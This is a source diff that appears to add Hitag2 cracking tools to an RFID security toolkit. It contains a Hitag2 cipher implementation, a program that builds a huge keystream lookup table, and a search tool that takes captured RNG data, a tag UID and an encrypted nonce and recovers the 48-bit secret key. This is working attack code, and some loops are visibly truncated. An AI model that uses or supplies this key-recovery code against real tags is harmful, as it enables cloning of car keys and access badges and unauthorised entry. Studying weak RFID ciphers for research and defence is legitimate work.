hitag2_crypt(state) << 46; + state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46; + state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46; + state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46; + state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46; + state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46; + state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46; + + state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46; + state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46; + state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46; + state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46; + state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46; + state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46; + state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46; + state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46; + + // highest 16 bits of IV XOR Shared Key + state |= (uint64_t) initvector << 47; + + state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46; + state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46; + state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46; + state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46; + state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46; + state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46; + state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46; + state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46; + + state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46; + state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46; + state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46; + state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46; + state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46; + state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46; + state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46; + state ^= (uint64_t) hitag2_crypt(state) << 47; + + DEBUG_PRINTF("hitag2_init result = %012I64x\n", state); + pstate->shiftreg = state; + /* naive version for reference, LFSR has 16 taps + pstate->lfsr = state ^ (state >> 2) ^ (state >> 3) ^ (state >> 6) + ^ (state >> 7) ^ (state >> 8) ^ (state >> 16) ^ (state >> 22) + ^ (state >> 23) ^ (state >> 26) ^ (state >> 30) ^ (state >> 41) + ^ (state >> 42) ^ (state >> 43) ^ (state >> 46) ^ (state >> 47); + */ + { + // optimise with one 64-bit intermediate + uint64_t temp = state ^ (state >> 1); + pstate->lfsr = state ^ (state >> 6) ^ (state >> 16) + ^ (state >> 26) ^ (state >> 30) ^ (state >> 41) + ^ (temp >> 2) ^ (temp >> 7) ^ (temp >> 22) + ^ (temp >> 42) ^ (temp >> 46); + } +} + + +/* + * Return up to 32 crypto bits. + * Last bit is in least significant bit, earlier bits are shifted left. + * Note that the Hitag transmission protocol is least significant bit, + * so we may want to change this, or add a function, that returns the + * crypto output bits in the other order. + * + * Parameters: + * Hitag_State* pstate - in/out, internal cipher state after initialisation + * uint32_t steps - number of bits requested, (capped at 32) + */ +uint32_t hitag2_nstep(Hitag_State* pstate, uint32_t steps) +{ + uint64_t state = pstate->shiftreg; + uint32_t result = 0; + uint64_t lfsr = pstate->lfsr; + + if (steps == 0) + return 0; + +// commented out the restriction on number of steps so we can step further in one go. +// this still only returns 32 bits obviously +// if (steps > 32) +// steps = 32; + + do { + // update shift registers + if (lfsr & 1) { + state = (state >> 1) | 0x800000000000; + lfsr = (lfsr >> 1) ^ 0xB38083220073; + + // accumulate next bit of crypto + result = (result << 1) | hitag2_crypt(state); + } else { + state >>= 1; + lfsr >>= 1; + + result = (result << 1) | hitag2_crypt(state); + } + } while (--steps); + + DEBUG_PRINTF("hitag2_nstep state = %012I64x, result %02x\n", state, result); + pstate->shiftreg = state; + pstate->lfsr = lfsr; + return result; +} + +// end of crypto core, revert to default optimization level +//#pragma GCC reset_options + + +/* Test code + + Test data and below information about it comes from + http://www.mikrocontroller.net/attachment/102194/hitag2.c + Written by "I.C. Wiener 2006-2007" + + "MIKRON" = O N M I K R + Key = 4F 4E 4D 49 4B 52 - Secret 48-bit key + Serial = 49 43 57 69 - Serial number of the tag, transmitted in clear + Random = 65 6E 45 72 - Random IV, transmitted in clear + ~28~DC~80~31 = D7 23 7F CE - Authenticator value = inverted first 4 bytes of the keystream + + The code below must print out "D7 23 7F CE 8C D0 37 A9 57 49 C1 E6 48 00 8A B6". + The inverse of the first 4 bytes is sent to the tag to authenticate. + The rest is encrypted by XORing it with the subsequent keystream. + +*/ + + +/* +unsigned int hitag2_benchtest_gen32() +{ + const uint64_t key = 0x4ad292b272f2; + const uint32_t serial = 0x96eac292; + const uint32_t initvec = 0x4ea276a6; + Hitag_State state; + + // init crypto + hitag2_init(&state, key, serial, initvec); + + // benchmark: generation of 32 bit stream (excludes initialisation) + GetTimer_us(RESET); + + (void) hitag2_nstep(&state, 32); + + return GetTimer_us(NO_RESET); +} + + +unsigned int hitag2_benchtest(uint32_t count) +{ + const uint64_t key = 0x4ad292b272f2; + const uint32_t serial = 0x96eac292; + const uint32_t initvec = 0x4ea276a6; + Hitag_State state; + uint32_t i; + + // start timer + GetTimer_us(RESET); + + // benchmark: initialise crypto & generate 32 bit authentication + // adding i stops gcc optimizer moving init function call out of loop + for (i = 0; i < count; i++) { + hitag2_init(&state, key, serial, initvec + i); + (void) hitag2_nstep(&state, 32); + } + + return GetTimer_us(NO_RESET); +} + + +unsigned hitag2_verifytest() +{ + uint8_t expected[16] = { 0xD7, 0x23, 0x7F, 0xCE, 0x8C, 0xD0, 0x37, 0xA9, 0x57, 0x49, 0xC1, 0xE6, 0x48, 0x00, 0x8A, 0xB6 }; + // key = 0x4ad292b272f2 after each byte has its bit order reversed + // serial = 0x96eac292 ditto + // initvec = 0x4ea276a6 ditto + const uint64_t key = rev64 (0x524B494D4E4FUL); + const uint32_t serial = rev32 (0x69574349); + const uint32_t initvec = rev32 (0x72456E65); + + uint32_t i; + Hitag_State state; + + // initialise + hitag2_init(&state, key, serial, initvec); + + for (i = 0; i < 16; i++) { + // get 8 bits of keystream + uint8_t x = (uint8_t) hitag2_nstep(&state, 8); + uint8_t y = expected[i]; + + DEBUG_PRINTF ("%02X (%02X) \n", x, y); + if (x != y) + return 0; + } + + return 1; +} +*/ + +#ifdef UNIT_TEST + +int main(int argc, char* argv[]) +{ + unsigned pass = hitag2_verifytest(); + + printf ("Crypto Verify test = %s\n\n", pass ? "PASS" : "FAIL"); + + if (pass) { + hitag2_benchtest(10000); + } + + return 0; +} + +#endif // UNIT_TEST diff --git a/tools/hitag2crack/crack2/hitagcrypto.h b/tools/hitag2crack/crack2/hitagcrypto.h new file mode 100644 index 000000000..d5aa9104c --- /dev/null +++ b/tools/hitag2crack/crack2/hitagcrypto.h @@ -0,0 +1,171 @@ +/*************************************************************************** + * A copy of the GNU GPL is appended to this file. * + * * + * This licence is based on the nmap licence, and we express our gratitude * + * for the work that went into producing it. There is no other connection * + * between RFIDler and nmap either expressed or implied. * + * * + ********************** IMPORTANT RFIDler LICENSE TERMS ******************** + * * + * * + * All references to RFIDler herein imply all it's derivatives, namely: * + * * + * o RFIDler-LF Standard * + * o RFIDler-LF Lite * + * o RFIDler-LF Nekkid * + * * + * * + * RFIDler is (C) 2013-2014 Aperture Labs Ltd. * + * * + * This program is free software; you may redistribute and/or modify it * + * under the terms of the GNU General Public License as published by the * + * Free Software Foundation; Version 2 ("GPL"), BUT ONLY WITH ALL OF THE * + * CLARIFICATIONS AND EXCEPTIONS DESCRIBED HEREIN. This guarantees your * + * right to use, modify, and redistribute this software under certain * + * conditions. If you wish to embed RFIDler technology into proprietary * + * software or hardware, we sell alternative licenses * + * (contact sales@aperturelabs.com). * + * * + * Note that the GPL places important restrictions on "derivative works", * + * yet it does not provide a detailed definition of that term. To avoid * + * misunderstandings, we interpret that term as broadly as copyright law * + * allows. For example, we consider an application to constitute a * + * derivative work for the purpose of this license if it does any of the * + * following with any software or content covered by this license * + * ("Covered Software"): * + * * + * o Integrates source code from Covered Software. * + * * + * o Is designed specifically to execute Covered Software and parse the * + * results (as opposed to typical shell or execution-menu apps, which will * + * execute anything you tell them to). * + * * + * o Includes Covered Software in a proprietary executable installer. The * + * installers produced by InstallShield are an example of this. Including * + * RFIDler with other software in compressed or archival form does not * + * trigger this provision, provided appropriate open source decompression * + * or de-archiving software is widely available for no charge. For the * + * purposes of this license, an installer is considered to include Covered * + * Software even if it actually retrieves a copy of Covered Software from * + * another source during runtime (such as by downloading it from the * + * Internet). * + * * + * o Links (statically or dynamically) to a library which does any of the * + * above. * + * * + * o Executes a helper program, module, or script to do any of the above. * + * * + * This list is not exclusive, but is meant to clarify our interpretation * + * of derived works with some common examples. Other people may interpret * + * the plain GPL differently, so we consider this a special exception to * + * the GPL that we apply to Covered Software. Works which meet any of * + * these conditions must conform to all of the terms of this license, * + * particularly including the GPL Section 3 requirements of providing * + * source code and allowing free redistribution of the work as a whole. * + * * + * As another special exception to the GPL terms, Aperture Labs Ltd. grants* + * permission to link the code of this program with any version of the * + * OpenSSL library which is distributed under a license identical to that * + * listed in the included docs/licenses/OpenSSL.txt file, and distribute * + * linked combinations including the two. * + * * + * Any redistribution of Covered Software, including any derived works, * + * must obey and carry forward all of the terms of this license, including * + * obeying all GPL rules and restrictions. For example, source code of * + * the whole work must be provided and free redistribution must be * + * allowed. All GPL references to "this License", are to be treated as * + * including the terms and conditions of this license text as well. * + * * + * Because this license imposes special exceptions to the GPL, Covered * + * Work may not be combined (even as part of a larger work) with plain GPL * + * software. The terms, conditions, and exceptions of this license must * + * be included as well. This license is incompatible with some other open * + * source licenses as well. In some cases we can relicense portions of * + * RFIDler or grant special permissions to use it in other open source * + * software. Please contact sales@aperturelabs.com with any such requests.* + * Similarly, we don't incorporate incompatible open source software into * + * Covered Software without special permission from the copyright holders. * + * * + * If you have any questions about the licensing restrictions on using * + * RFIDler in other works, are happy to help. As mentioned above, we also * + * offer alternative license to integrate RFIDler into proprietary * + * applications and appliances. These contracts have been sold to dozens * + * of software vendors, and generally include a perpetual license as well * + * as providing for priority support and updates. They also fund the * + * continued development of RFIDler. Please email sales@aperturelabs.com * + * for further information. * + * If you have received a written license agreement or contract for * + * Covered Software stating terms other than these, you may choose to use * + * and redistribute Covered Software under those terms instead of these. * + * * + * Source is provided to this software because we believe users have a * + * right to know exactly what a program is going to do before they run it. * + * This also allows you to audit the software for security holes (none * + * have been found so far). * + * * + * Source code also allows you to port RFIDler to new platforms, fix bugs, * + * and add new features. You are highly encouraged to send your changes * + * to the RFIDler mailing list for possible incorporation into the * + * main distribution. By sending these changes to Aperture Labs Ltd. or * + * one of the Aperture Labs Ltd. development mailing lists, or checking * + * them into the RFIDler source code repository, it is understood (unless * + * you specify otherwise) that you are offering the RFIDler Project * + * (Aperture Labs Ltd.) the unlimited, non-exclusive right to reuse, * + * modify, and relicense the code. RFIDler will always be available Open * + * Source, but this is important because the inability to relicense code * + * has caused devastating problems for other Free Software projects (such * + * as KDE and NASM). We also occasionally relicense the code to third * + * parties as discussed above. If you wish to specify special license * + * conditions of your contributions, just say so when you send them. * + * * + * This program is distributed in the hope that it will be useful, but * + * WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the RFIDler * + * license file for more details (it's in a COPYING file included with * + * RFIDler, and also available from * + * https://github.com/ApertureLabsLtd/RFIDler/COPYING * + * * + ***************************************************************************/ + +// Author: unknown. +// Modifications for RFIDler: Tony Naggs , Adam Laurie + + +#ifndef HITAGCRYPTO_H +#define HITAGCRYPTO_H + +#include + +/* + Our model of Hitag 2 crypto uses 2 parallel shift registers: + a. 48 bit Feedback Shift Register, required for inputs to the nonlinear function. + b. 48 bit Linear Feedback Shift Register (LFSR). + A transform of initial register (a) value, which is then run in parallel. + Enables much faster calculation of the feedback values. + + API: + void hitag2_init(Hitag_State* pstate, uint64_t sharedkey, uint32_t serialnum, + uint32_t initvector); + Initialise state from 48 bit shared (secret) reader/tag key, + 32 bit tag serial number and 32 bit initialisation vector from reader. + + uint32_t hitag2_nstep(Hitag_State* pstate, uint32_t steps); + update shift register state and generate N cipher bits (N should be <= 32) + */ + + +typedef struct { + uint64_t shiftreg; // naive shift register, required for nonlinear fn input + uint64_t lfsr; // fast lfsr, used to make software faster +} Hitag_State; + +void hitag2_init(Hitag_State* pstate, uint64_t sharedkey, uint32_t serialnum, uint32_t initvector); + +uint32_t hitag2_nstep(Hitag_State* pstate, uint32_t steps); + +unsigned int hitag2_benchtest_gen32(); +unsigned int hitag2_benchtest(uint32_t count); +unsigned hitag2_verifytest(); + +#endif /* HITAGCRYPTO_H */ + diff --git a/tools/hitag2crack/crack2/ht2crack2buildtable.c b/tools/hitag2crack/crack2/ht2crack2buildtable.c new file mode 100644 index 000000000..402c5b245 --- /dev/null +++ b/tools/hitag2crack/crack2/ht2crack2buildtable.c @@ -0,0 +1,561 @@ +/* + * ht2crack2buildtable.c + * This builds the 1.2TB table and sorts it. + */ + +#include "ht2crack2utils.h" + + +// DATAMAX is the size of each bucket (bytes). There are 65536 buckets so choose a value such that +// DATAMAX * 65536 < RAM available. For ex, if you want to use 12GB of RAM (for a 16GB machine +// leaving some RAM free for OS and other stuff), DATAMAX = 12GB / 65536 = 196608. Round this down +// to a power of 10; DATAMAX = 196600. +#define DATAMAX 196600 // around 192K rounded down to a power of 10 + +// NUM_BUILD_THREADS and NUM_SORT_THREADS are the number of threads to run concurrently. These should +// ideally be equal to the number of virtual cores you have available. A quad-core machine will +// likely have 8 virtual cores, so set them to 8. +// +// If sorting fails with a 'bus error' then that is likely because your disk I/O can't keep up with +// the read/write demands of the multi-threaded sorting. In this case, reduce the number of sorting +// threads. This will most likely only be a problem with network disks; SATA should be okay; +// USB2/3 should keep up. +// +// These MUST be a power of 2 for the maths to work - you have been warned! +// Also, sort threads MUST be <= build threads or a horrible buffer overflow will happen! +#define NUM_BUILD_THREADS 8 +#define NUM_SORT_THREADS 8 + +// DATASIZE is the number of bytes in an entry. This is 10; 4 bytes of keystream (2 are in the filepath) + +// 6 bytes of PRNG state. +#define DATASIZE 10 + +int debug = 0; + +// table entry for a bucket +struct table { + char path[32]; + pthread_mutex_t mutex; + unsigned char *data; + unsigned char *ptr; +}; + + +// actual table +struct table *t; + +// jump table 1 +uint64_t d[48]; +int nsteps; + +// jump table 2 +uint64_t d2[48]; +int nsteps2; + +// create table entry +void create_table(struct table *t, int d1, int d2) +{ + if (!t) { + printf("create_table: t is NULL\n"); + exit(1); + } + + // create some space + t->data = (unsigned char *)malloc(DATAMAX); + if (!(t->data)) { + printf("create_table: cannot malloc data\n"); + exit(1); + } + + // set data ptr to start of data table + t->ptr = t->data; + + // init the mutex + if (pthread_mutex_init(&(t->mutex), NULL)) { + printf("create_table: cannot init mutex\n"); + exit(1); + } + + // create the path +// sprintf(t->path, "/Volumes/2tb/%02X/%02X.bin", d1 & 0xff, d2 & 0xff); + sprintf(t->path, "table/%02x/%02x.bin", d1 & 0xff, d2 & 0xff); +} + + +// create all table entries +void create_tables(struct table *t) +{ + int i, j; + + if (!t) { + printf("create_tables: t is NULL\n"); + exit(1); + } + + for (i=0; i<0x100; i++) { + for (j=0; j<0x100; j++) { + create_table(t + ((i * 0x100) + j), i, j); + } + } +} + + +// free the table memory +void free_tables(struct table *t) +{ + int i; + struct table *ttmp; + + if (!t) { + printf("free_tables: t is NULL\n"); + exit(1); + } + + for (i=0; i<0x10000; i++) { + ttmp = t + i; + free(ttmp->data); + } +} + + + +// write (partial) table to file +void writetable(struct table *t1) +{ + int fd; + + if (debug) printf("writetable %s\n", t1->path); + + fd = open(t1->path, O_WRONLY | O_CREAT | O_APPEND, 0644); + if (fd <= 0) { + printf("writetable cannot open file %s for appending\n", t1->path); + exit(1); + } + + if (debug) printf("writetable %s opened\n", t1->path); + + if (write(fd, t1->data, t1->ptr - t1->data) < (t1->ptr - t1->data)) { + printf("writetable cannot write all of the data\n"); + exit(1); + } + + if (debug) printf("writetable %s written\n", t1->path); + + close(fd); +} + + +// store value in table +void store(unsigned char *data) +{ + unsigned char d1, d2; + int offset; + struct table *t1; + + // use the first two bytes as an index + d1 = data[0]; + d2 = data[1]; + offset = (d1 * 0x100) + d2; + + if (debug) printf("store, d1=%02X, d2=%02X, offset = %d\n", d1, d2, offset); + + // get pointer to table entry + t1 = t + offset; + + // wait for a lock on this entry + if (pthread_mutex_lock(&(t1->mutex))) { + printf("store: cannot lock mutex at offset %d\n", offset); + exit(1); + } + + if (debug) printf("store, offset = %d, got lock\n", offset); + + // store the entry + memcpy(t1->ptr, data+2, 10); + + if (debug) printf("store, offset = %d, copied data\n", offset); + + // update the ptr + t1->ptr += 10; + + // check if table is full + if ((t1->ptr - t1->data) >= DATAMAX) { + // write the table to disk + writetable(t1); + // reset ptr + t1->ptr = t1->data; + } + + if (debug) printf("store, offset = %d, after possible write\n", offset); + + // release the lock + if (pthread_mutex_unlock(&(t1->mutex))) { + printf("store: cannot unlock mutex at offset %d\n", offset); + exit(1); + } + + if (debug) printf("store, offset = %d, unlocked\n", offset); + +} + +// writes the ks (keystream) and s (state) +void write_ks_s(uint32_t ks1, uint32_t ks2, uint64_t shiftreg) +{ + unsigned char buf[16]; + + // create buffer + writebuf(buf, ks1, 3); + writebuf(buf+3, ks2, 3); + writebuf(buf+6, shiftreg, 6); + + // store buffer + store(buf); + +} + + +// builds the di table for jumping +void builddi(int steps, int table) +{ + uint64_t statemask; + int i; + Hitag_State mystate; + uint64_t *thisd = NULL; + + statemask = 1; + + // select jump table + if (table == 1) { + nsteps = steps; + thisd = d; + } else if (table == 2) { + nsteps2 = steps; + thisd = d2; + } else { + printf("builddi: invalid table num\n"); + exit(1); + } + + // build di states + for (i=0; i<48; i++) { + mystate.shiftreg = statemask; + buildlfsr(&mystate); + hitag2_nstep(&mystate, steps); + thisd[i] = mystate.shiftreg; + + statemask = statemask << 1; + } +} + +// jump function - quickly jumps a load of steps +void jumpnsteps(Hitag_State *hstate, int table) +{ + uint64_t output = 0; + uint64_t bitmask; + int i; + uint64_t *thisd = NULL; + + + // select jump table + if (table == 1) { + thisd = d; + } else if (table == 2) { + thisd = d2; + } else { + printf("jumpnsteps: invalid table num\n"); + exit(1); + } + + // xor all di.si where di is a d state and si is a bit + // we do this by multiplying di by si: + // if si is 1, di.si = di; if si is 0, di.si = 0 + + bitmask = 1; + for (i=0; i<48; i++) { + if (hstate->shiftreg & bitmask) { + output = output ^ thisd[i]; + } + + bitmask = bitmask << 1; + } + + hstate->shiftreg = output; + buildlfsr(hstate); +} + + +// thread to build a part of the table +void *buildtable(void *d) +{ + Hitag_State hstate; + Hitag_State hstate2; + unsigned long i; + unsigned long maxentries = 1; + uint32_t ks1; + uint32_t ks2; + int index = (int)(long)d; + int tnum = NUM_BUILD_THREADS; + + /* set random state */ + hstate.shiftreg = 0x123456789abc; + buildlfsr(&hstate); + + /* jump to offset using jump table 2 (2048) */ + for (i=0; i> 1; + tnum = tnum >> 1; + } + + /* make the entries */ + for (i=0; iptr > t1->data) { + writetable(t1); + } + } + + // dump the memory + free_tables(t); + free(t); + + + + // now for the sorting + + + // start the threads + for (i=0; i 32)) { + printf("makerandom: len must be between 1 and 32 inclusive\n"); + exit(1); + } + + if (read(fd, raw, len) != len) { + printf("makerandom: cannot read random bytes\n"); + exit(1); + } + + for (i=0; ilen = filestat.st_size / 2; +// printf("r->len = %d\n", r->len); + + r->data = (unsigned char *)malloc(r->len); + if (!(r->data)) { + printf("cannot malloc\n"); + exit(1); + } + + j = 0; + nibble = 0; + for (i=0; (ilen); i++) { + if ((data[i] != 0x0a) && (data[i] != 0x0d) && (data[i] != 0x20)) { + if (!nibble) { + r->data[j] = hex2bin(data[i]) << 4; + nibble = 1; + } else { + r->data[j] |= hex2bin(data[i]); + nibble = 0; + j++; + } + } + } + + r->len = j; + + munmap(data, filestat.st_size); + close(fd); + + return 1; +} + +int makecand(unsigned char *c, struct rngdata *r, int bitoffset) +{ + int bytenum; + int bitnum; + int i; + + if (!c || !r || (bitoffset > ((r->len * 8) - 48))) { + printf("makecand: invalid params\n"); + return 0; + } + + bytenum = bitoffset / 8; + bitnum = bitoffset % 8; + + for (i=0; i<6; i++) { + if (!bitnum) { + c[i] = r->data[bytenum + i]; + } else { + c[i] = (r->data[bytenum + i] << bitnum) | (r->data[bytenum + i + 1] >> (8 - bitnum)); + } + } + + return 1; +} + + +// test the candidate against the next or previous rng data +int testcand(unsigned char *f, unsigned char *rt, int fwd) +{ + Hitag_State hstate; + int i; + uint32_t ks1; + uint32_t ks2; + unsigned char buf[6]; + + // build the prng state at the candidate + hstate.shiftreg = 0; + for (i=0; i<6; i++) { + hstate.shiftreg = (hstate.shiftreg << 8) | f[i+4]; + } + buildlfsr(&hstate); + + if (fwd) { + // roll forwards 48 bits + hitag2_nstep(&hstate, 48); + } else { + // roll backwards 48 bits + rollback(&hstate, 48); + buildlfsr(&hstate); + } + + // get 48 bits of RNG from the rolled to state + ks1 = hitag2_nstep(&hstate, 24); + ks2 = hitag2_nstep(&hstate, 24); + + writebuf(buf, ks1, 3); + writebuf(buf+3, ks2, 3); + + // compare them + if (!memcmp(buf, rt, 6)) { + return 1; + } else { + return 0; + } +} + +int searchcand(unsigned char *c, unsigned char *rt, int fwd, unsigned char *m, unsigned char *s) +{ + int fd; + struct stat filestat; + char file[64]; + unsigned char *data; + unsigned char item[10]; + unsigned char *found = NULL; + + + if (!c || !rt || !m || !s) { + printf("searchcand: invalid params\n"); + return 0; + } + + sprintf(file, INPUTFILE, c[0], c[1]); + + fd = open(file, O_RDONLY); + if (fd <= 0) { + printf("cannot open table file %s\n", file); + exit(1); + } + + if (fstat(fd, &filestat)) { + printf("cannot stat file %s\n", file); + exit(1); + } + + data = mmap((caddr_t)0, filestat.st_size, PROT_READ, MAP_PRIVATE, fd, 0); + if (data == MAP_FAILED) { + printf("cannot mmap file %s\n", file); + exit(1); + } + + memcpy(item, c+2, 4); + + found = (unsigned char *)bsearch(item, data, filestat.st_size / DATASIZE, DATASIZE, datacmp); + + if (found) { + + // our candidate is in the table + // go backwards and see if there are other matches + while (((found - data) >= DATASIZE) && (!memcmp(found - DATASIZE, item, 4))) { + found = found - DATASIZE; + } + + // now test all matches + while (((found - data) <= (filestat.st_size - DATASIZE)) && (!memcmp(found, item, 4))) { + if (testcand(found, rt, fwd)) { + memcpy(m, c, 2); + memcpy(m+2, found, 4); + memcpy(s, found+4, 6); + + munmap(data, filestat.st_size); + close(fd); + return 1; + } + + found = found + DATASIZE; + } + } + + munmap(data, filestat.st_size); + close(fd); + + return 0; + +} + +int findmatch(struct rngdata *r, unsigned char *outmatch, unsigned char *outstate, int *bitoffset) +{ + int i; + int bitlen; + unsigned char cand[6]; + unsigned char rngtest[6]; + int fwd; + + if (!r || !outmatch || !outstate || !bitoffset) { + printf("findmatch: invalid params\n"); + return 0; + } + + bitlen = r->len * 8; + + for (i=0; i<=bitlen - 48; i++) { + // print progress + if ((i % 100) == 0) { + printf("searching on bit %d\n", i); + } + + if (!makecand(cand, r, i)) { + printf("cannot makecand, %d\n", i); + return 0; + } +// printf("cand: %02x %02x %02x %02x %02x %02x : ", cand[0], cand[1], cand[2], cand[3], cand[4], cand[5]); +// printbin(cand); + + /* make following or preceding RNG test data to confirm match */ + if (i < (bitlen - 96)) { + if (!makecand(rngtest, r, i + 48)) { + printf("cannot makecand rngtest %d + 48\n", i); + return 0; + } + fwd = 1; + } else { + if (!makecand(rngtest, r, i - 48)) { + printf("cannot makecand rngtest %d - 48\n", i); + return 0; + } + fwd = 0; + } + + if (searchcand(cand, rngtest, fwd, outmatch, outstate)) { + *bitoffset = i; + return 1; + } + } + + return 0; +} + + + + +void rollbackrng(Hitag_State *hstate, unsigned char *s, int offset) +{ + int i; + + if (!s) { + printf("rollbackrng: invalid params\n"); + return; + } + + // build prng at recovered offset + hstate->shiftreg = 0; + for (i=0; i<6; i++) { + hstate->shiftreg = (hstate->shiftreg << 8) | s[i]; + } + + printf("recovered prng state at offset %d:\n", offset); + printstate(hstate); + + // rollback to state after auth + rollback(hstate, offset); + + // rollback through auth (aR, p3) + rollback(hstate, 64); + + printf("prng state after initialisation:\n"); + printstate(hstate); + + +} + +uint64_t recoverkey(Hitag_State *hstate, char *uidstr, char *nRstr) +{ + uint64_t key; + uint64_t keyupper; + uint32_t uid; + uint32_t uidtmp; + uint32_t nRenc; + uint32_t nR; + uint32_t nRxork; + uint32_t b = 0; + int i; + + // key lower 16 bits are lower 16 bits of prng state + key = hstate->shiftreg & 0xffff; + nRxork = (hstate->shiftreg >> 16) & 0xffffffff; + uid = rev32(hexreversetoulong(uidstr)); + nRenc = rev32(hexreversetoulong(nRstr)); + + uidtmp = uid; + // rollback and extract bits b + for (i=0; i<32; i++) { + hstate->shiftreg = ((hstate->shiftreg) << 1) | ((uidtmp >> 31) & 0x1); + uidtmp = uidtmp << 1; + b = (b << 1) | fnf(hstate->shiftreg); + } + + printf("end state:\n"); + printstate(hstate); + printf("b:\t\t"); + printbin2(b, 32); + printf("\n"); + printf("nRenc:\t\t"); + printbin2(nRenc, 32); + printf("\n"); + + nR = nRenc ^ b; + + printf("nR:\t\t"); + printbin2(nR, 32); + printf("\n"); + + keyupper = nRxork ^ nR; + key = key | (keyupper << 16); + printf("key:\t\t"); + printbin2(key, 48); + printf("\n"); + + return key; +} + + +int main(int argc, char *argv[]) +{ + Hitag_State hstate; + struct rngdata rng; + int bitoffset = 0; + unsigned char rngmatch[6]; + unsigned char rngstate[6]; + char *uidstr; + char *nRstr; + uint64_t keyrev; + uint64_t key; + int i; + + if (argc < 4) { + printf("ht2crack2search rngdatafile UID nR\n"); + exit(1); + } + + if (!loadrngdata(&rng, argv[1])) { + printf("loadrngdata failed\n"); + exit(1); + } + + if (!strncmp(argv[2], "0x", 2)) { + uidstr = argv[2] + 2; + } else { + uidstr = argv[2]; + } + + if (!strncmp(argv[3], "0x", 2)) { + nRstr = argv[3] + 2; + } else { + nRstr = argv[3]; + } + + + if (!findmatch(&rng, rngmatch, rngstate, &bitoffset)) { + printf("couldn't find a match\n"); + exit(1); + } + + printf("found match:\n"); + printf("rngmatch = %02x %02x %02x %02x %02x %02x\n", rngmatch[0], rngmatch[1], rngmatch[2], rngmatch[3], rngmatch[4], rngmatch[5]); + printf("rngstate = %02x %02x %02x %02x %02x %02x\n", rngstate[0], rngstate[1], rngstate[2], rngstate[3], rngstate[4], rngstate[5]); + printf("bitoffset = %d\n", bitoffset); + + rollbackrng(&hstate, rngstate, bitoffset); + + keyrev = recoverkey(&hstate, uidstr, nRstr); + key = rev64(keyrev); + + printf("keyrev:\t\t"); + printbin2(key, 48); + printf("\n"); + + printf("KEY:\t\t"); + for (i=0; i<6; i++) { + printf("%02X", (int)(key & 0xff)); + key = key >> 8; + } + printf("\n"); + + return 0; + +} + + diff --git a/tools/hitag2crack/crack2/ht2crack2utils.c b/tools/hitag2crack/crack2/ht2crack2utils.c new file mode 100644 index 000000000..2152f8ef3 --- /dev/null +++ b/tools/hitag2crack/crack2/ht2crack2utils.c @@ -0,0 +1,187 @@ +#include "ht2crack2utils.h" + +// writes a value into a buffer as a series of bytes +void writebuf(unsigned char *buf, uint64_t val, unsigned int len) +{ + int i; + char c; + + for (i=len-1; i>=0; i--) + { + c = val & 0xff; + buf[i] = c; + val = val >> 8; + } + +} + + +/* simple hexdump for testing purposes */ +void shexdump(unsigned char *data, int data_len) +{ + int i; + + if (!data || (data_len <= 0)) { + printf("shexdump: invalid parameters\n"); + return; + } + + printf("Hexdump from %p:\n", data); + + for (i=0; i> 7); + x = x << 1; + } + } + printf("\n"); +} + + +void printbin2(uint64_t val, unsigned int size) +{ + int i; + uint64_t mask = 1; + + mask = mask << (size - 1); + + for (i=0; ishiftreg, 48); + printf("\n"); +} + + + + +// convert hex char to binary +unsigned char hex2bin(unsigned char c) +{ + if ((c >= '0') && (c <= '9')) { + return (c - '0'); + } else if ((c >= 'a') && (c <= 'f')) { + return (c - 'a' + 10); + } else if ((c >= 'A') && (c <= 'F')) { + return (c - 'A' + 10); + } else { + return 0; + } +} + +// return a single bit from a value +int bitn(uint64_t x, int bit) +{ + uint64_t bitmask = 1; + + bitmask = bitmask << bit; + + if (x & bitmask) { + return 1; + } else { + return 0; + } +} + + +// the sub-function R that rollback depends upon +int fnR(uint64_t x) +{ + // renumbered bits because my state is 0-47, not 1-48 + return (bitn(x, 1) ^ bitn(x, 2) ^ bitn(x, 5) ^ bitn(x, 6) ^ bitn(x, 7) ^ + bitn(x, 15) ^ bitn(x, 21) ^ bitn(x, 22) ^ bitn(x, 25) ^ bitn(x, 29) ^ bitn(x, 40) ^ + bitn(x, 41) ^ bitn(x, 42) ^ bitn(x, 45) ^ bitn(x, 46) ^ bitn(x, 47)); +} + +// the rollback function that lets us go backwards in time +void rollback(Hitag_State *hstate, unsigned int steps) +{ + int i; + + for (i=0; ishiftreg = ((hstate->shiftreg << 1) & 0xffffffffffff) | fnR(hstate->shiftreg); + } + +} + + +// the three filter sub-functions that feed fnf +int fa(unsigned int i) +{ + return bitn(0x2C79, i); +} + +int fb(unsigned int i) +{ + return bitn(0x6671, i); +} + +int fc(unsigned int i) +{ + return bitn(0x7907287B, i); +} + +// the filter function that generates a bit of output from the prng state +int fnf(uint64_t s) +{ + unsigned int x1, x2, x3, x4, x5, x6; + + x1 = (bitn(s, 2) << 0) | (bitn(s, 3) << 1) | 